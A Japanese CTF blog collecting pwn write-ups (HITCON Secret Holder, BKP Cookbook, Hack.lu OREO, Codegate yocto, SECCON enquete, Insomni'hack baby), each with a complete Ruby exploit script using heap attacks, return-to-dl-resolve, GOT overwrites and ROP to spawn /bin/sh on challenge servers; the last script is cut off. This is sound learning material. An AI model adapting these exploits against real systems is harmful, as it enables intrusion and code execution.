Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

HITCON CTF2016 Quals Secret Holder (pwn 100)

Pwncampでやった問題 其の壱(になる予定だったが実質終えたのはこれしかない) 実力不足だからか100点に思えなかった.

下調べ

  • 64bit, dnyamically link, stripped
  • Partial RELRO, No PIE
  • libcはわかってることにした

解析

主に以下の3つのコマンドが存在する.

  1. 3種類あるサイズから選んで1つmallocする
  2. 3種類あるサイズから選んで1つfreeする
  3. 3種類あるサイズから選んで1つ適切なサイズ分readする

(※サイズは,Smallが0x40, Bigが0x4000, Hugeが0x400000となっている.) それぞれのサイズで管理用大域変数があり,それで二回連続のmallocができないようになっている.

glibcmallocでは閾値以上のサイズのmallocをするとヒープ領域とは違うところにマッピングされるのだが,そこを解放し,再度mallocするとヒープ領域に確保されるという仕組みがある.今回でいえば,Hugeのmallocがこれに該当する.
また,mallocの戻り値を格納する大域変数はfree後にNULLにしていないところ,freeの際には管理用大域変数を見て判断していない点などからUAFに持ち込むことができる.

Exploit

UAFを用いてunsafe unlink attackにまずはもっていく.small用のヒープのアドレスがはいる大域変数より下にはbigやhugeのもあるので,small用のヒープのアドレスがはいるところをunlink attackで,small用のヒープが入る大域変数より小さいアドレスとかにできれば,readの処理の際にOverflowさせて,bigやhugeの指す先をGOTなどに書き換えることができる.そうすれば,bigやhugeに対しても同様にread操作を行うことでGOT Overwriteが可能となる.

以下にexploitを示す.

#!/usr/bin/env ruby
# coding: utf-8
require 'pwnlib'

host = 'localhost'
port = 8888

def keep(t, id, msg)
  t.recv_until("Renew secret")
  t.sendline("1")
  t.recv_until("Huge secret")
  t.sendline(id.to_s)
  t.recv_until(": \n")
  t.sendline(msg)
end

def wipe(t, id)
  t.recv_until("Renew secret")
  t.sendline("2")
  t.recv_until("Huge secret")
  t.sendline(id.to_s)
end

def renew(t, id, msg)
  t.recv_until("Renew secret")
  t.sendline("3")
  t.recv_until("Huge secret")
  t.sendline(id.to_s)
  t.recv_until(": \n")
  t.send(msg)
end

PwnTube.open(host, port) do |t|

  small_ptr = 0x6020b0

  keep(t, 3, "")
  wipe(t, 3)
  keep(t, 1, "")
  wipe(t, 1)
  keep(t, 3, "") # huge == small
  wipe(t, 1)
  
  # P->fd->bk = P->bk
  # P->bk->fd = P->fd

  # small
  payload = "\x00" * 16
  payload << p64(small_ptr - 0x18) # fd
  payload << p64(small_ptr - 0x10) # bk

  # big
  payload << p64(0x20)
  payload << p64(0xfb0)
  payload << "\n"
  
  keep(t, 1, "")
  keep(t, 2, "")
  renew(t, 3, payload)
  wipe(t, 2) # small_ptr -> small_ptr - 0x18(big,huge,smallのポインタよりも8byte前)

  payload = "\x00" * 8     # padding
  payload << p64(0x602030) # memset@got -> read a lot
  payload << p64(0)
  payload << p64(0x602028) # __stack_chk_fail@got -> ret
  payload << p32(1) * 3

  renew(t, 1, payload + "\n")
  renew(t, 1, p64(0x400691)) # ret
  STDIN.gets
  renew(t, 2, p64(0x4009f9)) # read a lot

  pop_rdi = 0x400e03

  payload = "\x00" * 24
  payload <<  p64(pop_rdi)
  payload << p64(0x602048) # __libc_start_main@got
  payload << p64(0x4006c0) # puts@plt
  payload << p64(0x400cc2) # main

  t.recv_until("Renew secret\n")
  t.sendline(payload)

  libc_start_leak = t.recv(6).ljust(8, "\x00").unpack("Q")[0]
  libc_base = libc_start_leak - 0x20740
  libc_system = libc_base + 0x45390
  libc_binsh  = libc_base + 0x18c177
  
  payload = "\x00" * 24
  payload << p64(pop_rdi)
  payload << p64(libc_binsh)
  payload << p64(libc_system)

  t.recv_until("Renew secret\n")
  t.sendline(payload)

  t.shell
  
end

以下が結果である. f:id:encry1024:20170218112143p:plain

感想

閾値以上のサイズのmallocの戻り値をヒープ領域にするのは偶然見つけたのだが,free後にNULLが入っていないという基本的なことに気づかず,そこからの進展がなくて,writeupに頼った.久しぶりだったせいもあり,unlink attackがあいまいにしか理解してないことに気づいた.もうちょっと自分なりに復習して,しっかり理解しないといけないなぁという気分になった.

参考文献

https://gist.github.com/inaz2/732487ee170be9d8d2adf9cb50fe8d35

HITCON CTF Quals 2016 Writeup (Secret Holder & Babyheap) - ShiftCrops つれづれなる備忘録

CTFひとり勉強会 Secret Holder (HITCON 2016 Quals) 前編 - ヾノ*>ㅅ<)ノシ帳

Bosten Key Party2016 Cookbook (pwn6)

BKPが近いということで,前年度の問題を復習してみた.本問題は以前まとめた

pwn.hatenadiary.jp

Houes of Forceを使って解くことが出来る問題である.私自身,この一回しかHouse of Forceを使ったことがないので良い練習問題になり,久しぶりに全部自力で解くことができた.

下調べ

vagrant@vagrant-ubuntu-trusty ~/c/B/Cookbook> file cookbook                                                                                           ASLR: ON
cookbook: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=2397d3d3c3b98131022ddd98f30e702bd4b88230, stripped
vagrant@vagrant-ubuntu-trusty ~/c/B/Cookbook> checksec --file cookbook                                                                                ASLR: ON
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  FORTIFY Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes 0       3   cookbook

libc配布

問題としてはまぁまぁなバイナリ

解析

vagrant@vagrant-ubuntu-trusty ~/c/B/Cookbook> ./cookbook                                                                                              ASLR: ON
what's your name?
Chihiro
+-----------------------------+
|          .--,--.            |
|          `.  ,.'            |
|           |___|             |
|           :o o:             |
|          _`~^~'             |
|        /'   ^   `\          |
| cooking manager pro v6.1... |
+-----------------------------+
====================
[l]ist ingredients
[r]ecipe book
[a]dd ingredient
[c]reate recipe
[e]xterminate ingredient
[d]elete recipe
[g]ive your cookbook a name!
[R]emove cookbook name
[q]uit
a
====================
[l]ist current stats?
[n]ew ingredient?
[c]ontinue editing ingredient?
[d]iscard current ingredient?
[g]ive name to ingredient?
[p]rice ingredient?
[s]et calories?
[q]uit (doesn't save)?
[e]xport saving changes (doesn't quit)?

バイナリ自体は上記のようにいろんなコマンドで動きがあり,生ぬるい問題と違ってほぼ全部実装されているため解析だけで6時間ぐらいかかってしまった.実際に解析する人のために手助けとなる情報としては,片方向リストで,材料,レシピの二つが管理されており,リストへのaddListやdeleteList,serachList的な関数があり多く見える.また,ほとんどのfgetsが使われているところではNULL終端されるようになっている. 問題文にもtop chefとあるようにHouse of Forceを伺わせる問題であり,その観点での解析から得られることを以下にまとめた.

  • e -> a -> n -> lでmain_arena+48とヒープ領域のアドレスがリーク
  • c -> n -> gでHeapOverflowを発生
  • g では,mallocで確保するサイズをユーザで決められる(負数OK)

Exploit

前述の記事も参考にしていただきたいが,House of Forceを行うためには以下の3つの条件が必要だと考えている.

  1. top chunkのアドレスが求められる
  2. top chunkのサイズを-1などのunsignedで大きな値に書き換えられる
  3. mallocに負数を渡せる

これら3つの条件は解析パートの最後を見るとすべて満たしていることがわかる. 今回は,strtoul@gotを__libc_systemに書き換えて/bin/shを入力してシェルを起動させる方針を取った.その際,House of Forceではtop chunkのアドレスを固定するので,固定後のmallocで返ってくるのは、top chunk + 8なので(malloc_chunk構造体の管理部分を考慮),top chunkが、strtoul@gotの8byte前のputs@gotのアドレスになるように考えると以下の計算式より要求サイズが求まる.

要求サイズ = puts@got - 現在のtop - 8

したがって、この要求サイズをmallocで呼ぶことで,戻り値のアドレスをstrtoul@gotに固定でき、後続するfgetsで、そこに入力することができ、GOT overwriteが可能となる.

これらのこと踏まえて作成したexploitを以下に示す.途中mallocやcallocでSEGVが起きてしまってうまく行かなかった流れがあったので,余計な処理を挟んでいるが,正直なぜこれでうまくいくかわからないので誰か教えて欲しい.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'

host = 'localhost'
port = 8888

def heap_leak(t)
  t.recv_until("[q]uit\n")
  t.sendline("e")
  t.recv_until("exterminate? ")
  t.sendline("olive oil")
  t.recv_until("[q]uit\n")
  t.sendline("a")
  t.recv_until("quit)?")
  t.sendline("n")
  t.recv_until("quit)?")
  t.sendline("l")
  t.recv_until("calories: ")
  main_arena = t.recv_until("\n").to_i + 2**32
  offset_main_arena = 0x1ab420
  $libc_base = main_arena - offset_main_arena - 48
  t.recv_until("price: ")
  $heap_base = t.recv_until("\n").to_i - 2504
  t.recv_until("quit)?")
  t.sendline("d")
  t.recv_until("quit)?")
  t.sendline("q")
end

PwnTube.open(host, port) do |t|

  t.recv_until("name?\n")
  t.sendline("Chihiro")
  
  t.recv_until("[q]uit\n")
  t.sendline("c")
  
  t.recv_until("[q]uit\n")
  t.sendline("n")

  t.recv_until("[q]uit\n")
  t.sendline("q")

  heap_leak(t)
  top_chunk   = $heap_base + 0x16b8
  libc_system = $libc_base + 0x40310

  puts "heap base   0xx" % $heap_base
  puts "top chunk   0xx" % top_chunk
  puts "libc base   0xx" % $libc_base
  puts "libc system 0xx" % libc_system

  t.recv_until("[q]uit\n")
  t.sendline("c")
  
  t.recv_until("[q]uit")
  t.sendline("g")
  
  # sturct Rceipe {
  #   uint32_t *ingredient_name;
  #   uint32_t *ingredient_nums;
  #   char name[116];
  #   char category[16];
  #   char instructions[896];
  # };
  
  # called fgets(Recipe->instructions, 0x40c, stdin)
  # So, overwrite the top chunk size
  payload = "A" * 0x380
  payload << p32(-1)
  t.sendline(payload)

  t.recv_until("[q]uit")
  t.sendline("q")

  t.recv_until("[q]uit\n")
  t.sendline("g")
  t.recv_until(": ")

  # House of Force

  # 次のmallocの戻り値がstrtoul@gotに固定される
  target = 0x804d030 - 8 - top_chunk
  target = 2 ** 32 + target

  t.sendline(target.to_s(16))  # size
  t.sendline("GOMI")           # value

  # このままgでmallocを呼ぶとSEGVで落ちてしまった.(おそらく指定したサイズが悪い?)
  # そこで違うところでcallocを呼んでみたらうまくいった
  # 理由はわからない・・・誰か教えてほしい
  t.recv_until("[q]uit\n")
  t.sendline("c")

  t.recv_until("[q]uit\n")
  t.sendline("n")

  t.recv_until("[q]uit\n")
  t.sendline("q")

  t.recv_until("[q]uit\n")
  t.sendline("g")
  t.recv_until(": ")

  t.sendline("100")            # size 適当
  t.sendline(p32(libc_system)) # value

  t.recv_until("[q]uit\n")
  t.sendline("g")
  t.recv_until(": ")

  # strtoul@got -> __libc_system
  t.sendline("/bin/sh")        

  t.shell

end

以下が実行結果である.

vagrant@vagrant-ubuntu-trusty ~/c/B/Cookbook> ruby x.rb                                                                                               ASLR: ON
[*] connected
heap base   0x0867f000
top chunk   0x086806b8
libc base   0xf7620000
libc system 0xf7660310
[*] waiting for shell...
[*] interactive mode
cat flag.txt
BKPCTF{hey_my_grill_doesnt_work_here}

感想

自力で解けて嬉しかったけど,時間かかりすぎたw 丸一日かけてしまったw

Hack.lu2014 OREO(pwn400)

本日は,何の日でしょうか? 本日は,バレンタインデーです.CTFerのみなさんはチョコをもらえたでしょうか. まだチョコをもらっていない人のためにOREOをみなさんにお届けします.

環境

本問題は以下の環境で行った.とりあえずUbuntu16.04LTSではうまく行かなかった.

uname -a

Linux vagrant-ubuntu-trusty 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

cat /etc/lsb-release

DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04 LTS"

下調べ

file

oreo: ELF 32-bit LSB  executable
Intel 80386
version 1 (SYSV)
dynamically linked (uses shared libs)
for GNU/Linux 2.6.26
BuildID[sha1]=f591eececd05c63140b9d658578aea6c24450f8b
stripped

checksec

CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

解析

Welcome to the OREO Original Rifle Ecommerce Online System!

     ,______________________________________
    |_________________,----------._ [____]  -,__  __....-----=====
                   (_(||||||||||||)___________/                   |
                      `----------'   OREO [ ))"-,                   |
                                           ""    `,  _,--....___    |
                                                   `/           """"

What would you like to do?

1. Add new rifle
2. Show added rifles
3. Order selected rifles
4. Leave a Message with your Order
5. Show current stats
6. Exit!

各種コマンドの概要

1. Add new rifle

  • malloc(56)が呼ばれる
  • nameとdescriptionの入力
  • HeapOverflowが発生

2. show added rifles

  • 追加したライフルのname, descriptionが見れる

3. Order selected rifles

  • freeを使って追加したライフルを解放

4. Leave a Message with your Order

  • メッセージの入力ができる

5. Show current stats

  • 注文の回数が見れる

以下にmallocで確保される構造体を示す.

struct Rifle {
    char desc[25];
    char name[27];
    struct Rifle* next;        
};

攻略方針

HeapOverflowを利用すると,Rifle->nextを任意の値に書き換えることで,2を利用した際にリークが発生する.このリークを使って,まずgotの情報を全部抜き取ってしまう.同様にしてstdinのアドレスもリークさせる. 次に,fastbins unlink attackを用いて,mallocの戻り値を固定することを考える.x86では80byte以下のchunkはfree時にfastbinsというサイズ毎に存在するLIFOな片方向リストにつながる.これに偽のchunkを登録して,再度mallocを呼ぶとLIFOなので偽chunkが返ってくる.これを利用して任意のアドレスの書き換えが可能になる. また,本問題はlibcが与えられていない上に,カスタムlibcと呼ばれるオフセットなどが運営側でいじられているlibcになっている.いわば簡単にオフセットが求まらないlibcである.そこでReturn to dl-resolveと呼ばれるlibc情報を一切使わない手法を用いて,動的に__libc_systemのアドレスを取得する.そのためには,既知のアドレス上に偽構造体を作る必があるので,最初の方法でHeap領域のアドレスをリークし,そこにfgetsで読み込んで作り上げていく.その際にGOT領域なども書き換えて踏み台にしていったりするので,とても長いexploitになっていく.
Return to dl-resolveの説明に関しては,ROP stager + Return-to-dl-resolveによるASLR+DEP回避にかなわない(めんどくさかった…気が向いたらそれだけの記事を書くかもしれない)ので,こちらを参考にしていただきたい.

Exploit

stkofのときもそうだったが,Exploitが難しいと説明が難しい… コードにそって詳しいコメントを書いていったので,それを追って見ていこうと思う.

# coding: ascii-8bit
require 'pwnlib'

host = "localhost"
port = 8888

if ARGV[0] == "r"
  host = "wildwildweb.fluxfingers.net"
  port = 1414
end

def recv_until_Action(t)
  t.recv_until("Action: ")
end

def add(t, name, desc)
  recv_until_Action(t)
  t.sendline("1")
  t.recv_until("Rifle name: ")
  t.sendline(name)
  t.recv_until("Rifle description: ")
  t.sendline(desc)
  $rifle_counter += 1
  puts "Rifle count = %d" % $rifle_counter
end

def show(t)
  recv_until_Action(t)
  t.sendline("2")
  t.recv_until("Action: ").scan(/Description: (.*)\n/)[1][0].unpack("L*")
end

def order(t)
  recv_until_Action(t)
  t.sendline('3')
  t.recv_until("\n")
end

def leave(t, msg)
  recv_until_Action(t)
  t.sendline('4')
  t.recv_until(": ")
  t.sendline(msg)
end

def show_current_stats(t)
  t.sendline("5")
  t.recv_until("\n")
end

def leak(t, addr, name = nil)
  name = name.to_s if name.nil?
  payload = name.ljust(27, "A")
  payload << p32(addr)
  add(t, payload, 'desc')
  tmp = show(t)
  show_current_stats(t)
  return tmp
end

PwnTube.open(host, port) do |t|

  $rifle_counter = 0

  # ordered_counter 0x804a2a0
  # rifle_counter   0x804a2a4
  # pMessage        0x804a2a8
  # Message         0x804a2c0

  puts_got     = 0x804a248
  stdin_got    = 0x0804a280
  link_map_got = 0x804a22c

  pop3ret      = 0x8048b46  
  leave_ret    = 0x804844c
  popebp_ret   = 0x8048ae3
  
  # 偽chunkに利用
  # rifle_counterはライフルを追加していって,0x40にする
  fake_chunk_prev_size = 0x804a2a0
  fake_chunk_data = fake_chunk_prev_size + 8


  link_map, dl_resolve, printf, free, fgets, stack_chk_fail, malloc, puts, gmon_start, strlen, libc_start_main, isoc99_scanf = leak(t, link_map_got)
  stdin     = leak(t, stdin_got)[0]

  buf_addr = 0
  
  rifle_addr = 0x804a288
  rifle_cnt = 58

  # 影響がないヒープ領域(真ん中ぐらい)のアドレスを計算
  heap = leak(t, rifle_addr)[0]
  buf_addr = (heap + 0x8000) & 0xfffff000
  
  # 58回mallocを繰り返す
  rifle_cnt.times do |i|
    add(t, 'name', 'desc')
  end
  
  payload = p32(buf_addr)   # ebp
  payload << p32(fgets)
  payload << p32(leave_ret)
  payload << p32(buf_addr)  # ba5eba5e
  payload << p32(1025)
  payload << p32(stdin)
  
  heap = leak(t, rifle_addr, payload)[0]
  
  # desc[25]の方が先にあるので,+25してアドレスをnameに合わせる
  stager_addr = heap + 25

  puts("[+] link_map    0x%x" % link_map)
  puts("[+] dl_resolve  0x%x" % dl_resolve)
  puts("[+] stdin       0x%x" % stdin)
  puts("[+] stager_addr 0x%x" % stager_addr)
  puts("[+] buffer_addr 0x%x" % buf_addr)

  # Rifle->nextをNULLにすることで,余分にfreeされないようにする
  payload = 'A' * 27    # name
  payload << p32(0)     # next
  add(t, payload, 'desc')

  # 偽chunkの次のchunk(0x804a2e0)に適切なサイズを配置
  # 条件:8 < x < main_arena->system_mem (32bit)
  payload = "\x00" * 32
  payload << p32(0x9)
  leave(t, payload)


  ##########################
  # fastbins unlink attack #
  ##########################


  # Rifle->nextを偽chunkにしておく
  payload = 'A' * 27
  payload << p32(fake_chunk_data)
  add(t, payload, "")

  # 1回目のfreeは最新のchunkを解放
  # 2回目は,上記で仕込んだ偽chunkを解放
  order(t)
  
  # objdump -s -j .plt oreo
  plt = 0x8048450     # push link_map; jmp popebp_ret;
  
  # ebpをずらすので,Canaryが一致せず,__stack_chk_failが呼ばれる

  payload = ""                # 書き換え前GOT
  payload << p32(stager_addr) # link_map
  payload << p32(popebp_ret)  # dl-resolve
  payload << p32(printf)      # printf
  payload << p32(plt)         # free
  payload << p32(fgets)       # fgets
  payload << p32(leave_ret)   # __stack_chk_fail
  payload << p32(malloc)      # malloc
  payload << p32(puts)        # puts
  
  # fastbins unlink attackにより,偽chunkが返される
  # この偽chunkは選択肢4で使われるアドレスを指す
  # これをlink_map_gotに書き換えることで,選択肢4での入力先を書き換え
  add(t, 'rID', p32(link_map_got))

  # 書き換えたことによりfgets(link_map_got, 0x80, stdin)が呼ばれる
  leave(t, payload)
  
  # 書き換えられたfreeが実行
  order(t)

  
  ########################
  # Return to dl-resolve #
  ########################


  binsh_str  = "/bin/sh\x00"
  system_str = "system\x00\x00"

  # fgets(buf_addr, 0x401, stdin)に入力されていくpayload
  fake_rel = buf_addr + 11 * 4 + binsh_str.length + system_str.length
  fake_dynsym = fake_rel + 8

  
  # objdump -D oreo -M intel -j .rel.plt
  relplt = 0x080483d8
  
  # objdump -s -j .dynsym oreo
  dynsym = 0x080481f8
  # dynsymを偽Elf32_Sym構造体に書き換える
  dynsym = fake_dynsym 
  
  # gdb-peda$ find 0x080481f8
  dynsym_addr = 0x804a188
  
  # objdump -s -j .dynstr oreo
  dynstr = 0x080482c8
  
  # dl_runtime_resolve関数の第2引数reloc_offset
  reloc_offset = fake_rel - relplt
  index_dynsym = (fake_dynsym - dynsym) / 0x10
  r_info = (index_dynsym << 8) | 7

  puts("[+] fake_rel     0x%x" % fake_rel)
  puts("[+] fake_dynsym  0x%x" % fake_dynsym)
  puts "[+] reloc offset 0x%x" % reloc_offset
  puts "[+] index dynsym 0x%x" % index_dynsym
  puts "[+] r_info       0x%x" % r_info
  
  if(dynsym + index_dynsym * 16 == fake_dynsym)
    puts "assert"
  end
  
  if(index_dynsym < 256)
    puts "assert2"
  end

  # fgets(buf_addr, 1025, stdin)に入るpayload
  payload =  p32(0xba5eba5e)

  # fgets(dynsym_addr, 5, stdin)
  # dynsymをfake_dynsymに書き換え
  payload << p32(fgets)
  payload << p32(pop3ret)
  payload << p32(dynsym_addr) 
  payload << p32(5) 
  payload << p32(stdin)

  # dl_resolve(link_map, reloc_offset)
  # その後,eipが__libc_systemに移る
  payload << p32(dl_resolve)
  payload << p32(link_map)
  payload << p32(reloc_offset) 
  
  binsh = buf_addr + payload.length + 8
  payload << p32(0xdeadbeef)
  payload << p32(binsh)
  payload << binsh_str
  
  system = buf_addr + payload.length
  payload << system_str

  if(fake_rel == buf_addr + payload.length)
    puts "assert3"
  end

  # ここからfake_rel
  payload << p32(puts_got)
  payload << p32(r_info)  

  if(fake_dynsym == buf_addr + payload.length)
    puts "assert4"
  end

  # ここから,fake_dynsym
  # fake_dynsym->st_name + dynstr = "system"を指したい
  payload << p32(system - dynstr) # st_name
  payload << p32(0)               # st_value
  payload << p32(0)               # st_size
  payload << [0x12].pack("C")     # st_info 
  payload << [0x00].pack("C")     # st_other
  payload << [0x00].pack("S")     # st_shndx
  
  payload << p32(0xdeadbeef)
  t.sendline(payload)
  
  # fake_dynsymの送ってdynsymを書き換え
  t.sendline(p32(dynsym))

  t.interactive

end

Hack.luのサーバはまだ動いているので,実際にリモートに向けてexploitコードを試した結果が以下である. f:id:encry1024:20170203234938p:plain また,lddでリンクされているlibcを求めて,実際に実行してみるとカスタムlibcだと言っている. f:id:encry1024:20170203235054p:plain

感想

たぶん半年ぐらい空けてようやく理解ができた.コンテスト中にここまで緻密にstagerしていくのは,まだできないので良い練習になったと思う.達成感はデカイ.@wapiflapioのwriteupを参考(丸パクリ)しながら検証していったので,とても助かった.しかしところどころ必要のないと思われる部分があり,そこは自分なりに修正したので間違っていた教えていただきたい.

参考資料

Codegate2015 Finals yocto(pwn600)

良い過去問題の1つだと思う.参考資料のサイト見ながら解いてみた.

下調べ

vagrant@ubuntu4ctf ~/c/Codegate> file yocto | sed -e 's/, /\n/g'
yocto: ELF 32-bit LSB executable
Intel 80386
version 1 (SYSV)
dynamically linked
interpreter /lib/ld-linux.so.2
BuildID[sha1]=95c4e813fa1e2c84b3adf4bc77d48f5057761266
not stripped
vagrant@ubuntu4ctf ~/c/Codegate> checksec --file yocto
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      0               2       yocto

良いバイナリ

解析

80byte分readで読み込まれる.その際,".“で区切られた数字をatoiで数値に変換し,スタック上に格納し,格納した値のjmpで飛ぶ.
例えば,"1111.2222.3333"と入力した場合には,[esp]に2222, [esp+8]に1111,3333にjmpする動作となる.
また,shutdown(0, SHUT_RD); shutdown(1, SHUT_RD); shutdown(2, SHUT_RD);が最初の方にされており,これ以降のfd(0,1,2)の受信は禁止されている.(正直イマイチ意味がわかってない・・・後述のexploitでshがうまく起動できなかったのはこれが原因?)

Exploit

libcのアドレスをリークできるような処理が見つけられなかったし,練習したかったので,Return to dl-resolveを用いて解いてみる.
まず偽reloc_offsetを用いて,偽Elf32_Rel構造体を参照させる.次に,偽Elf32_Rel->r_infoに偽Elf32_Sym構造体を参照させる.最後に偽Elf32_Sym->st_nameの指す先を"system"になるように調節する.これらの状態にするためには既知のアドレスを使ってうまく配置しなければいけない.幸い今回はグローバル変数があるので,そこを使った.

以下にexploitを示す.

#!/usr/bin/env ruby
# coding: utf-8
require 'pwnlib'

host = 'localhost'
port = 8888

PwnTube.open(host, port) do |t|

  padding      = 21
  buf          = 0x80495c0
  plt          = 0x80482a0
  relplt       = 0x8048270
  dynsym       = 0x804818c
  dynstr       = 0x80481fc
  system_str   = "system\x00"
  fake_rel     = buf + 40
  system_addr  = fake_rel + 8
  fake_dynsym  = system_addr + system_str.length + padding
  reloc_offset = fake_rel - relplt
  index_dynsym = (fake_dynsym - dynsym) / 0x10
  r_info       = (index_dynsym << 8) | 0x7
  r_offset     = 0x8049610
  st_name      = system_addr - dynstr

  # relplt + reloc_offsetが,偽Elf32_Rel構造体を指すようにする
  payload = "." + reloc_offset.to_s + "." + plt.to_s
  payload << ";cat flag;" # 予めlsなどでFLAGを見つけておく
  payload = payload.ljust(40, "A")

  # 偽Elf32_Rel構造体
  payload << p32(r_offset)
  payload << p32(r_info)

  payload << system_str
  payload << "A" * padding

  # 偽Elf32_Sym構造体
  # dynstr + st_nameのアドレスが"system"を指す
  payload << p32(st_name)

  #STDIN.gets
  t.sendline(payload)

  puts t.recv

end

以下が実行結果である.

vagrant@ubuntu4ctf ~/c/Codegate> ruby x.rb                                            
[*] connected

Dyn4m1c L1nk3r? Hah! just cd80!
[*] connection closed

参考資料

SECCON 2016 Finals enquete(pwn100)

総合的な感想はこちら

encry1024.hatenablog.com

下調べ

vagrant@ubuntu4ctf ~/c/s/c/enquete> file enquete | sed -e 's/, /\n/g'                 ASLR: ON
enquete: ELF 32-bit LSB executable
Intel 80386
version 1 (SYSV)
dynamically linked
interpreter /lib/ld-linux.so.2
for GNU/Linux 2.6.24
BuildID[sha1]=0e97ebd89f7da13f10dac56bc8d4c858f62ac500
not stripped
vagrant@ubuntu4ctf ~/c/s/c/enquete> checksec --file enquete                           ASLR: ON
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY       Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes  04       enquete

※libcは配布されている

解析

What is your name?
>> Binary Oishi
Hi, Binary Oishi
Do you like pwning?
>> Yes, I do
Thank you for your cooperation in the enquete!
  • ランダムで質問が表示される.
  • 質問の前に名前を入力できて,そこでBOFが起こせる
    • information leakが起こる
  • 質問の解答を保存するバッファをBOFで上書きして任意のとこにできる

Exploit

Canaryがあるけど,Partial RELROだったし任意アドレスの書き換えもできるので,stack_chk_failを書き換えてReturn to vuln的な感じで行こうと考えた.名前入力時のBOFを使って,readのアドレスをリークして,libcベース求めて,systemと/bin/sh出すのと,stack_chk_failのgotを脆弱性がある関数に変更する.あとは,飛び先がうまくなるように適当にスタックを配置する.
そんな感じで作ったのが以下のexploit.正直急いでいたので,ハードコーディングしてるアドレスが何かなんて覚えちゃいない.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'

host = 'localhost'
port = 8888
offset_read   = 0xd5980
offset_system = 0x3ada0
offset_binsh  = 0x15b82b


if(ARGV[0] == 'r')
  host = '10.100.6.1'
  port = 28353
  offset_read   = 0xdaf60
  offset_system = 0x40310
  offset_binsh  = 0x16084c
end

PwnTube.open(host, port) do |t|
  
  enquete_addr       = 0x80485c2
  main_addr          = 0x804852d
  read_got           = 0x804a00c
  stack_chk_fail_got = 0x804a018
  addesp_44          = 0x80486e9

  payload = "A" * 84
  payload << p32(read_got)
  payload << p32(stack_chk_fail_got)
  t.recv_until(">> ")
  t.sendline(payload)
  
  t.recv_until("\n")
  read_got = t.recv(4).unpack("L")[0]
  
  libc_base   = read_got - offset_read
  libc_system = libc_base + offset_system
  libc_binsh  = libc_base + offset_binsh
  
  puts "[+] libc base   0x%x" % libc_base
  puts "[+] libc system 0x%x" % libc_system
  puts "[+] libc binsh  0x%x" % libc_binsh

  t.sendline(p32(main_addr))
  t.recv_until(">> ")

  payload = "B" * 8
  payload << p32(libc_system)
  payload << "HACK"
  payload << p32(libc_binsh) 
  payload << "C" * 64
  payload << p32(libc_binsh) # %sで表示されるので参照できるアドレスであればOK
  payload << p32(stack_chk_fail_got)
  t.sendline(payload)
  
  payload = ""
  payload << p32(0x8048614)
  t.sendline(payload)
  t.recv_until(">> ")
  
  payload = p32(addesp_44)
  payload << "D" * 80
  payload << p32(libc_binsh) # %sで表示されるので参照できるアドレスであればOK
  payload << p32(stack_chk_fail_got)
  t.sendline(payload)

  payload = ""
  payload << p32(main_addr)
  t.sendline(payload)
  t.recv_until(">> ")

  t.shell
end

感想

久しぶりのやっつけexploitだった.

Insomni'hack teaser 2017 baby(pwn50)

大会前2日テスト期間にもかかわらず耐えきれなくついやってしまった問題.テスト勉強に追われてここ一週間ぐらいpwnやってなかったので良いwarmup問題だった.まだテスト期間なのだが,writeupぐらい早めに書こうと思った.簡単な問題だけれど新年初CTFで新年初pwnで新年初flagゲットできたので満足度は高い.

下調べ

$ file baby | sed -e 's/, /\n/g'
baby: ELF 64-bit LSB shared object
x86-64
version 1 (SYSV)
dynamically linked (uses shared libs)
for GNU/Linux 2.6.32
not stripped

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL

libc配布

解析

  • fork-server型
  • Stack overflow,Format string bug, Heap overflowの3つの脆弱性がある関数を選択できる

Exploit

まずFSBを使ってlibcのアドレスやcanaryをleakさせる.その後stack overflowを使ってReturn to libcで終わり.すごくシンプル.(50点問題で最初からHOFなんて使わせないって思っていた.)
唯一考慮するといえば,fork-server型なのでそのままだと標準入出力が受け取れないというところ.そこで,今回はReturn to libcでdup2関数を使って,socketのfdをstdin,stdoutに複製する.(正直ココらへんの言葉の使い方が不安).その後,system("/bin/sh")を呼ぶ.
そうすると表現的に言えば,単純なReturn to libcというよりはROPに近い感じになるのかなぁ.
また,alarm(0xf)ぐらいで短く,フラグ探すのに手間取りそうだったので,bash -iを使ってみた.これを叩くとbashがSIGALRMを無視してくれるらしい.(参照:katagaitaiCTF勉強会 Pwnables編 2015 winter 関東|med P.267).
ただ同じディレクトリにflagがあったのでさほど意味はなかった.

以下exploit.rb

# coding: utf-8
require 'pwnlib.rb'

host = "localhost"
port =  0x539

# たまたま手元のlibcとオフセットがすべて同じだった
offset_getpwnam_r = 0xca8f0
offset_system = 0x45390
offset_binsh = 0x18c177
offset_pop_rsi_ret = 0x202e8
offset_pop_rdi_ret = 0x21102
offset_dup2  = 0xf6d90

if ARGV[0] == "r"
  host = "baby.teaser.insomnihack.ch"
  port = 1337
end

def stkof(t, send_size, payload)
  t.debug = true
  t.recv_until("> ")
  t.sendline("1")
  t.recv_until("? ")
  t.sendline(send_size.to_s)
  sleep(3)
  t.sendline(payload)
  puts t.recv_until("\n")
end

def fmt(t, payload)

  t.recv_until("> ")
  t.sendline('2')
  t.recv_until("> ")
  t.sendline(payload)
  data = t.recv_until("\n")
  t.recv_until("> ")
  t.sendline("")
  return data.gsub(/ /, "").chop

end

PwnTube.open(host, port) do |t|

  leak        = fmt(t, "%118$p").to_i(16) - 275
  libc_base   = leak - offset_getpwnam_r
